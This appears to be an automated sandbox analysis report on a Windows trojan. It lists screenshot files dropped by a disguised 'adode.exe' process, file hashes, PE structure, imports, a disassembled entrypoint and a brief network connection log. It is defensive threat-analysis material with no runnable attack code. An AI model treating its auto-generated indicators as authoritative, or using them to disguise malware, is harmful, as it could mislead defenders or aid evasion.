Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250205_052337.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250205_071843.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

C:\Users\user\AppData\Roaming\Screenshots\time_20250207_120144.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\Skype\adode.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 1280x1024, components 3
Category:	dropped
Size (bytes):	144543
Entropy (8bit):	7.930328040334777
Encrypted:	false
SSDEEP:	3072:O+hSWobjgzOXSoIbRJPjhbt0C6tLFWodfp7mIOjI0i/aooT:WpgzOCtbRJPBBcFJRXOMc
MD5:	BD950C933A246C618D2B5037589C7098
SHA1:	2C6EA3EF543A65662C3F6ADBEC7E2064DFEF382E
SHA-256:	87E0A58A1FA0DF85F32C8CD00D5105B49922D7D7E953690A305481AB980347A7
SHA-512:	A5465BD4615EACF13BCEDFBB4C7A77ED75E5AB7A79333461AF953609378E794F908711A488F1240EB9C5FBB5D4E765A952F002DF8D6617EB0FEC6FA940217DDE
Malicious:	false
Preview:	......JFIF.....`.`.....C....................................................................C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....W......'....c....4.X. .l...e.....V....<....d..`C.?S.a..\|..1.......E.....=..O..(B.}^.......I^...\|?.Y..i.b..Z\H.....1.~5..\|#...8n} ..D.....K/....*.&...j..:...6..J......$y.....gU../.......+......+~..e{p.j.h;.#.9.,....O.4...m..{...v....d......<...l8?....QE.,.?.h......m~_/.xN..X.?..W...?H^.qCWXO.....&x...D..O...3^?.....k..I....=.-SJ2...a.....~.+..8.3....Y.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.83638532560686
TrID:	Win32 Executable (generic) a (10002005/4) 99.38% InstallShield setup (43055/19) 0.43% Windows Screen Saver (13104/52) 0.13% Win16/32 Executable Delphi generic (2074/23) 0.02% Generic Win/DOS Executable (2004/3) 0.02%
File name:	SecuriteInfo.com.Trojan.Siggen28.27399.23329.29047.exe
File size:	1'139'200 bytes
MD5:	111687a32c1b81bc69e1c1f1a8542a73
SHA1:	640c5bab4aac4f0f8d8538747af91144696739f2
SHA256:	b6ffebdb6981216fcb12a69a18424032169d89e9d8712a64a2f7cb5aa27733b7
SHA512:	16cdc773fa0a5e2873899a26f7df546de1303abe1f5989acc9c1588fd7cd3d990623512581ee7b7819dd0c7e900f3e1bb28449133dce599c06a7a0c4c7be6f62
SSDEEP:	24576:0JIq+wADGZYx4t/yVrQ9JO85sfip46OV/b7Dujv:eNAXCSfs8V/b7yjv
TLSH:	57355B23F560CC62F10A1DBCE80697F0E836AF22396798553ED47F495A3DB436A74293
File Content Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7.......................................................................................................................................

File Icon


Icon Hash:	112021212143a9eb

Static PE Info

General

Entrypoint:	0x47574c
Entrypoint Section:	.itext
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
DLL Characteristics:
Time Stamp:	0x2A425E19 [Fri Jun 19 22:22:17 1992 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	ecd0012299b0e655dab241f2e23e3bb7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
add esp, FFFFFFF0h
mov eax, 00474BF0h
call 00007F0DED691D5Dh
mov eax, dword ptr [004EA134h]
mov eax, dword ptr [eax]
call 00007F0DED6E7DD5h
mov ecx, dword ptr [004EA248h]
mov eax, dword ptr [004EA134h]
mov eax, dword ptr [eax]
mov edx, dword ptr [0047444Ch]
call 00007F0DED6E7DD5h
mov eax, dword ptr [004EA134h]
mov eax, dword ptr [eax]
call 00007F0DED6E7E49h
call 00007F0DED68FDB8h
lea eax, dword ptr [eax+00h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xef000	0x2a1e	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xfd000	0x22000	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xf4000	0x82bc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xf3000	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xef7c8	0x688	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x73e38	0x74000	e067d59f5f03d7479d341b66c2690c29	False	0.5161048626077587	data	6.522472577339939	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.itext	0x75000	0x794	0x800	2f60ddf6edf853856355ba7497bb0292	False	0.60498046875	data	6.084339971752218	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.data	0x76000	0x742e8	0x74400	3f308c604b5131289c2819c1ad42d7cf	False	0.4172904065860215	data	6.632620277316094	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.bss	0xeb000	0x3688	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0xef000	0x2a1e	0x2c00	c9f16420dbc924d14a894819d5e7a4ba	False	0.30619673295454547	data	5.079304609298597	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.tls	0xf2000	0x34	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0xf3000	0x18	0x200	3826a55f34b83d9dbf0a1dbad4f2a451	False	0.05078125	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "O"	0.2108262677871819	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xf4000	0x82bc	0x8400	56adfed5ddf2b666572f89c70a911f2b	False	0.5984848484848485	data	6.659523223344392	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0xfd000	0x22000	0x22000	7df36fdda80abe7241b75982419982e8	False	0.14216883042279413	data	3.593313350087129	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_CURSOR	0xfe2ec	0x134	Targa image data - Map 64 x 65536 x 1 +32 "\001"	English	United States	0.38636363636363635
RT_CURSOR	0xfe420	0x134	data	English	United States	0.4642857142857143
RT_CURSOR	0xfe554	0x134	data	English	United States	0.4805194805194805
RT_CURSOR	0xfe688	0x134	data	English	United States	0.38311688311688313
RT_CURSOR	0xfe7bc	0x134	data	English	United States	0.36038961038961037
RT_CURSOR	0xfe8f0	0x134	data	English	United States	0.4090909090909091
RT_CURSOR	0xfea24	0x134	Targa image data - RGB 64 x 65536 x 1 +32 "\001"	English	United States	0.4967532467532468
RT_BITMAP	0xfeb58	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xfed28	0x1e4	Device independent bitmap graphic, 36 x 19 x 4, image size 380	English	United States	0.46487603305785125
RT_BITMAP	0xfef0c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.43103448275862066
RT_BITMAP	0xff0dc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39870689655172414
RT_BITMAP	0xff2ac	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.4245689655172414
RT_BITMAP	0xff47c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5021551724137931
RT_BITMAP	0xff64c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5064655172413793
RT_BITMAP	0xff81c	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xff9ec	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.5344827586206896
RT_BITMAP	0xffbbc	0x1d0	Device independent bitmap graphic, 36 x 18 x 4, image size 360	English	United States	0.39655172413793105
RT_BITMAP	0xffd8c	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.39864864864864863
RT_BITMAP	0xffeb4	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0xfffdc	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x100104	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x1001ec	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3614864864864865
RT_BITMAP	0x100314	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x10043c	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.49038461538461536
RT_BITMAP	0x10050c	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3716216216216216
RT_BITMAP	0x100634	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.2905405405405405
RT_BITMAP	0x10075c	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.38175675675675674
RT_BITMAP	0x100884	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x1009ac	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3783783783783784
RT_BITMAP	0x100ad4	0xe8	Device independent bitmap graphic, 12 x 16 x 4, image size 128	English	United States	0.3620689655172414
RT_BITMAP	0x100bbc	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x100ce4	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x100e0c	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x100edc	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.36824324324324326
RT_BITMAP	0x101004	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x10112c	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3885135135135135
RT_BITMAP	0x101254	0x128	Device independent bitmap graphic, 19 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x10137c	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.375
RT_BITMAP	0x1014a4	0xe8	Device independent bitmap graphic, 13 x 16 x 4, image size 128	English	United States	0.36637931034482757
RT_BITMAP	0x10158c	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.35135135135135137
RT_BITMAP	0x1016b4	0x128	Device independent bitmap graphic, 20 x 16 x 4, image size 192	English	United States	0.36486486486486486
RT_BITMAP	0x1017dc	0xd0	Device independent bitmap graphic, 13 x 13 x 4, image size 104	English	United States	0.47115384615384615
RT_BITMAP	0x1018ac	0x128	Device independent bitmap graphic, 21 x 16 x 4, image size 192	English	United States	0.3581081081081081
RT_BITMAP	0x1019d4	0x128	Device independent bitmap graphic, 17 x 16 x 4, image size 192	English	United States	0.28716216216216217
RT_BITMAP	0x101afc	0xe8	Device independent bitmap graphic, 16 x 16 x 4, image size 128	English	United States	0.4870689655172414
RT_ICON	0x101be4	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304, resolution 3779 x 3779 px/m			0.2819672131147541
RT_ICON	0x10256c	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096, resolution 3779 x 3779 px/m			0.20872420262664165
RT_ICON	0x103614	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216, resolution 3779 x 3779 px/m			0.1437759336099585
RT_ICON	0x105bbc	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736, resolution 3779 x 3779 px/m			0.09833641404805915
RT_ICON	0x10b044	0x67e8	Device independent bitmap graphic, 80 x 160 x 32, image size 25600, resolution 3779 x 3779 px/m			0.08770676691729323
RT_ICON	0x11182c	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864, resolution 3779 x 3779 px/m			0.07651881437881017
RT_DIALOG	0x11acd4	0x52	data			0.7682926829268293
RT_DIALOG	0x11ad28	0x52	data			0.7560975609756098
RT_STRING	0x11ad7c	0x298	data			0.39759036144578314
RT_STRING	0x11b014	0x2fc	StarOffice Gallery theme l, 1862296064 objects, 1st d			0.443717277486911
RT_STRING	0x11b310	0xa0	data			0.7125
RT_STRING	0x11b3b0	0xe4	data			0.6359649122807017
RT_STRING	0x11b494	0x278	data			0.4778481012658228
RT_STRING	0x11b70c	0x3e0	data			0.3840725806451613
RT_STRING	0x11baec	0x37c	data			0.40022421524663676
RT_STRING	0x11be68	0x394	data			0.39082969432314413
RT_STRING	0x11c1fc	0x460	data			0.3625
RT_STRING	0x11c65c	0x118	data			0.5214285714285715
RT_STRING	0x11c774	0xcc	data			0.6029411764705882
RT_STRING	0x11c840	0x208	data			0.5096153846153846
RT_STRING	0x11ca48	0x398	data			0.32608695652173914
RT_STRING	0x11cde0	0x38c	data			0.3876651982378855
RT_STRING	0x11d16c	0x2a4	data			0.4230769230769231
RT_RCDATA	0x11d410	0x10	data			1.5
RT_RCDATA	0x11d420	0x2d0	data			0.7305555555555555
RT_RCDATA	0x11d6f0	0x16cf	Delphi compiled form 'TForm1'			0.3038191471142319
RT_GROUP_CURSOR	0x11edc0	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x11edd4	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.25
RT_GROUP_CURSOR	0x11ede8	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x11edfc	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x11ee10	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x11ee24	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_CURSOR	0x11ee38	0x14	Lotus unknown worksheet or configuration, revision 0x1	English	United States	1.3
RT_GROUP_ICON	0x11ee4c	0x5a	data			0.8111111111111111

Imports

DLL	Import
oleaut32.dll	SysFreeString, SysReAllocStringLen, SysAllocStringLen
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegCloseKey
user32.dll	GetKeyboardType, DestroyWindow, LoadStringA, MessageBoxA, CharNextA
kernel32.dll	GetACP, Sleep, VirtualFree, VirtualAlloc, GetCurrentThreadId, InterlockedDecrement, InterlockedIncrement, VirtualQuery, WideCharToMultiByte, MultiByteToWideChar, lstrlenA, lstrcpynA, LoadLibraryExA, GetThreadLocale, GetStartupInfoA, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetCommandLineA, FreeLibrary, FindFirstFileA, FindClose, ExitProcess, CompareStringA, WriteFile, UnhandledExceptionFilter, RtlUnwind, RaiseException, GetStdHandle
kernel32.dll	TlsSetValue, TlsGetValue, LocalAlloc, GetModuleHandleA
user32.dll	CreateWindowExA, WindowFromPoint, WaitMessage, ValidateRect, UpdateWindow, UnregisterClassA, UnionRect, UnhookWindowsHookEx, TranslateMessage, TranslateMDISysAccel, TrackPopupMenu, SystemParametersInfoA, ShowWindow, ShowScrollBar, ShowOwnedPopups, SetWindowsHookExA, SetWindowTextA, SetWindowPos, SetWindowPlacement, SetWindowLongW, SetWindowLongA, SetTimer, SetScrollRange, SetScrollPos, SetScrollInfo, SetRect, SetPropA, SetParent, SetMenuItemInfoA, SetMenu, SetKeyboardState, SetForegroundWindow, SetFocus, SetCursor, SetClipboardData, SetClassLongA, SetCaretPos, SetCapture, SetActiveWindow, SendMessageW, SendMessageA, ScrollWindowEx, ScrollWindow, ScreenToClient, RemovePropA, RemoveMenu, ReleaseDC, ReleaseCapture, RegisterWindowMessageA, RegisterClipboardFormatA, RegisterClassA, RedrawWindow, PtInRect, PostQuitMessage, PostMessageA, PeekMessageW, PeekMessageA, OpenClipboard, OffsetRect, OemToCharA, MessageBoxA, MessageBeep, MapWindowPoints, MapVirtualKeyA, LoadStringA, LoadKeyboardLayoutA, LoadIconA, LoadCursorA, LoadBitmapA, KillTimer, IsZoomed, IsWindowVisible, IsWindowUnicode, IsWindowEnabled, IsWindow, IsRectEmpty, IsIconic, IsDialogMessageW, IsDialogMessageA, IsChild, IsCharAlphaNumericA, IsCharAlphaA, InvalidateRect, IntersectRect, InsertMenuItemA, InsertMenuA, InflateRect, GetWindowThreadProcessId, GetWindowTextA, GetWindowRect, GetWindowPlacement, GetWindowLongW, GetWindowLongA, GetWindowDC, GetTopWindow, GetSystemMetrics, GetSystemMenu, GetSysColorBrush, GetSysColor, GetSubMenu, GetScrollRange, GetScrollPos, GetScrollInfo, GetPropA, GetParent, GetWindow, GetMessageTime, GetMessagePos, GetMenuStringA, GetMenuState, GetMenuItemInfoA, GetMenuItemID, GetMenuItemCount, GetMenu, GetLastActivePopup, GetKeyboardState, GetKeyboardLayoutNameA, GetKeyboardLayoutList, GetKeyboardLayout, GetKeyState, GetKeyNameTextA, GetIconInfo, GetForegroundWindow, GetFocus, GetDoubleClickTime, GetDlgItem, GetDesktopWindow, GetDCEx, GetDC, GetCursorPos, GetCursor, GetClipboardData, GetClientRect, GetClassLongA, GetClassInfoA, GetCaretPos, GetCapture, GetActiveWindow, FrameRect, FindWindowA, FillRect, EqualRect, EnumWindows, EnumThreadWindows, EnumClipboardFormats, EnumChildWindows, EndPaint, EndDeferWindowPos, EnableWindow, EnableScrollBar, EnableMenuItem, EmptyClipboard, DrawTextA, DrawMenuBar, DrawIconEx, DrawIcon, DrawFrameControl, DrawFocusRect, DrawEdge, DispatchMessageW, DispatchMessageA, DestroyWindow, DestroyMenu, DestroyIcon, DestroyCursor, DestroyCaret, DeleteMenu, DeferWindowPos, DefWindowProcA, DefMDIChildProcA, DefFrameProcA, CreatePopupMenu, CreateMenu, CreateIcon, CreateCaret, CloseClipboard, ClientToScreen, CheckMenuItem, CallWindowProcA, CallNextHookEx, BeginPaint, BeginDeferWindowPos, CharNextA, CharLowerBuffA, CharLowerA, CharUpperBuffA, CharToOemA, AdjustWindowRectEx, ActivateKeyboardLayout
gdi32.dll	UnrealizeObject, StretchBlt, SetWindowOrgEx, SetWindowExtEx, SetWinMetaFileBits, SetViewportOrgEx, SetViewportExtEx, SetTextColor, SetStretchBltMode, SetROP2, SetPixel, SetMapMode, SetEnhMetaFileBits, SetDIBColorTable, SetBrushOrgEx, SetBkMode, SetBkColor, SelectPalette, SelectObject, SelectClipRgn, SaveDC, RestoreDC, RectVisible, RealizePalette, Polyline, PolyPolyline, PlayEnhMetaFile, PatBlt, MoveToEx, MaskBlt, LineTo, IntersectClipRect, GetWindowOrgEx, GetWinMetaFileBits, GetTextMetricsA, GetTextExtentPoint32A, GetSystemPaletteEntries, GetStockObject, GetRgnBox, GetPixel, GetPaletteEntries, GetObjectA, GetEnhMetaFilePaletteEntries, GetEnhMetaFileHeader, GetEnhMetaFileBits, GetDeviceCaps, GetDIBits, GetDIBColorTable, GetDCOrgEx, GetCurrentPositionEx, GetClipBox, GetBrushOrgEx, GetBitmapBits, ExtTextOutA, ExtCreatePen, ExcludeClipRect, DeleteObject, DeleteEnhMetaFile, DeleteDC, CreateSolidBrush, CreatePenIndirect, CreatePalette, CreateHalftonePalette, CreateFontIndirectA, CreateDIBitmap, CreateDIBSection, CreateCompatibleDC, CreateCompatibleBitmap, CreateBrushIndirect, CreateBitmap, CopyEnhMetaFileA, BitBlt
version.dll	VerQueryValueA, GetFileVersionInfoSizeA, GetFileVersionInfoA
kernel32.dll	lstrcpyA, WriteFile, WaitForSingleObject, VirtualQuery, VirtualAlloc, SizeofResource, SetThreadLocale, SetFilePointer, SetEvent, SetErrorMode, SetEndOfFile, ResetEvent, ReadFile, MulDiv, LockResource, LoadResource, LoadLibraryExA, LoadLibraryA, LeaveCriticalSection, InitializeCriticalSection, GlobalUnlock, GlobalLock, GlobalFindAtomA, GlobalDeleteAtom, GlobalAddAtomA, GetVersionExA, GetVersion, GetTickCount, GetThreadLocale, GetStdHandle, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLocalTime, GetLastError, GetFullPathNameA, GetDiskFreeSpaceA, GetDateFormatA, GetCurrentThreadId, GetCurrentProcessId, GetCPInfo, FreeResource, InterlockedExchange, FreeLibrary, FormatMessageA, FindResourceA, EnumCalendarInfoA, EnterCriticalSection, DeleteCriticalSection, CreateThread, CreateFileA, CreateEventA, CompareStringA, CloseHandle
advapi32.dll	RegQueryValueExA, RegOpenKeyExA, RegFlushKey, RegCloseKey
kernel32.dll	Sleep
oleaut32.dll	SafeArrayPtrOfIndex, SafeArrayGetUBound, SafeArrayGetLBound, SafeArrayCreate, VariantChangeType, VariantCopy, VariantClear, VariantInit
comctl32.dll	_TrackMouseEvent, ImageList_SetIconSize, ImageList_GetIconSize, ImageList_Write, ImageList_Read, ImageList_GetDragImage, ImageList_DragShowNolock, ImageList_DragMove, ImageList_DragLeave, ImageList_DragEnter, ImageList_EndDrag, ImageList_BeginDrag, ImageList_Remove, ImageList_DrawEx, ImageList_Replace, ImageList_Draw, ImageList_GetBkColor, ImageList_SetBkColor, ImageList_Add, ImageList_GetImageCount, ImageList_Destroy, ImageList_Create, InitCommonControls
comdlg32.dll	GetSaveFileNameA, GetOpenFileNameA
kernel32.dll	MulDiv

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 19, 2024 12:28:50.596795082 CEST	49699	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:50.596843958 CEST	443	49699	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:50.596921921 CEST	49699	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:50.597002983 CEST	49699	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:50.597151995 CEST	443	49699	13.107.137.11	192.168.2.6
Apr 19, 2024 12:28:50.597213030 CEST	49699	443	192.168.2.6	13.107.137.11
Apr 19, 2024 12:28:50.628058910 CEST	49700	443	192.168.2.6	13.107.137.11
